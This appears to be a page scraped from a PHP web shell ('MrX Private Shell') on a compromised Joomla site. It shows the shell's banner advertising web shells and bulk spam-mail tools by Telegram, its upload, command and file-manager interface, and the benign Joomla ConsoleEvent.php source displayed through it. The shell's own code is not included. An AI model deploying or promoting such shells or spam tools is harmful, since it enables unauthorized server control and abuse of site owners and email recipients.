__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Part of the Joomla Framework Console Package
 *
 * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Console\Event;

use Joomla\Console\Application;
use Joomla\Console\Command\AbstractCommand;
use Joomla\Event\Event;

/**
 * Base event class for console events.
 *
 * @since  2.0.0
 */
class ConsoleEvent extends Event
{
	/**
	 * The active application.
	 *
	 * @var    Application
	 * @since  2.0.0
	 */
	private $application;

	/**
	 * The command being executed.
	 *
	 * @var    AbstractCommand|null
	 * @since  2.0.0
	 */
	private $command;

	/**
	 * Event constructor.
	 *
	 * @param   string                $name         The event name.
	 * @param   Application           $application  The active application.
	 * @param   AbstractCommand|null  $command      The command being executed.
	 *
	 * @since   2.0.0
	 */
	public function __construct(string $name, Application $application, ?AbstractCommand $command = null)
	{
		parent::__construct($name);

		$this->application = $application;
		$this->command     = $command;
	}

	/**
	 * Get the active application.
	 *
	 * @return  Application
	 *
	 * @since   2.0.0
	 */
	public function getApplication(): Application
	{
		return $this->application;
	}

	/**
	 * Get the command being executed.
	 *
	 * @return  AbstractCommand|null
	 *
	 * @since   2.0.0
	 */
	public function getCommand(): ?AbstractCommand
	{
		return $this->command;
	}
}

Filemanager

Name Type Size Permission Actions
ApplicationErrorEvent.php File 2.25 KB 0664
BeforeCommandExecuteEvent.php File 1.71 KB 0664
CommandErrorEvent.php File 2.3 KB 0664
ConsoleEvent.php File 1.5 KB 0664
TerminateEvent.php File 1.49 KB 0664
Filemanager